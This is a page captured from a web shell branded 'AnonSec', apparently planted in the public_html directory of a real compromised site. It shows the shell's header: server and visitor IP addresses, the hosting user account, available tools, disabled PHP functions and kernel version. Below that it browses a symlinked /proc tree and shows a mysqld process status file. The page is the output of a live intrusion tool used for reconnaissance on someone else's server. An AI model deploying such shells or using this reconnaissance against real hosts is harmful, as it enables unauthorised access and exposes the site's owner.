Brotherline AnonSec • Shell
SRV 162.240.68.55 YOU 216.73.217.22 USER tywatomy (1003) 7.4.33 DOMAINS 6 Domains
MySQL cURL WGET Perl Python Sudo
Disabled: exec,passthru,shell_exec,system  •  OS: Linux server.ariapress.org 3.10.0-1160.119.1.el7.tuxcare.els22.x86_64 #1 SMP Mon Aug 18 06:07:12 UTC 2025 x86_64  •  Webserver: Apache
/home/tywatomy/public_html/en-ariapress-org/anon_sym/anon/proc/30031/task/30042/status
Name:	mysqld
Umask:	0026
State:	S (sleeping)
Tgid:	30031
Ngid:	0
Pid:	30042
PPid:	1
TracerPid:	0
Uid:	27	27	27	27
Gid:	27	27	27	27
FDSize:	4096
Groups:	27 
VmPeak:	 1488140 kB
VmSize:	 1488140 kB
VmLck:	       0 kB
VmPin:	       0 kB
VmHWM:	  268324 kB
VmRSS:	  268320 kB
RssAnon:	  264056 kB
RssFile:	    4264 kB
RssShmem:	       0 kB
VmData:	 1431912 kB
VmStk:	     132 kB
VmExe:	   26380 kB
VmLib:	    4200 kB
VmPTE:	     944 kB
VmSwap:	   71792 kB
Threads:	93
SigQ:	0/14691
SigPnd:	0000000000000000
ShdPnd:	0000000000000000
SigBlk:	0000000000084007
SigIgn:	0000000000003000
SigCgt:	00000001800006e8
CapInh:	0000000000000000
CapPrm:	0000000000000000
CapEff:	0000000000000000
CapBnd:	0000001fffffffff
CapAmb:	0000000000000000
NoNewPrivs:	0
Seccomp:	0
Speculation_Store_Bypass:	thread vulnerable
Cpus_allowed:	3
Cpus_allowed_list:	0-1
Mems_allowed:	00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001
Mems_allowed_list:	0
voluntary_ctxt_switches:	449198
nonvoluntary_ctxt_switches:	2090
Anon7 — 2022  •  AnonSec Team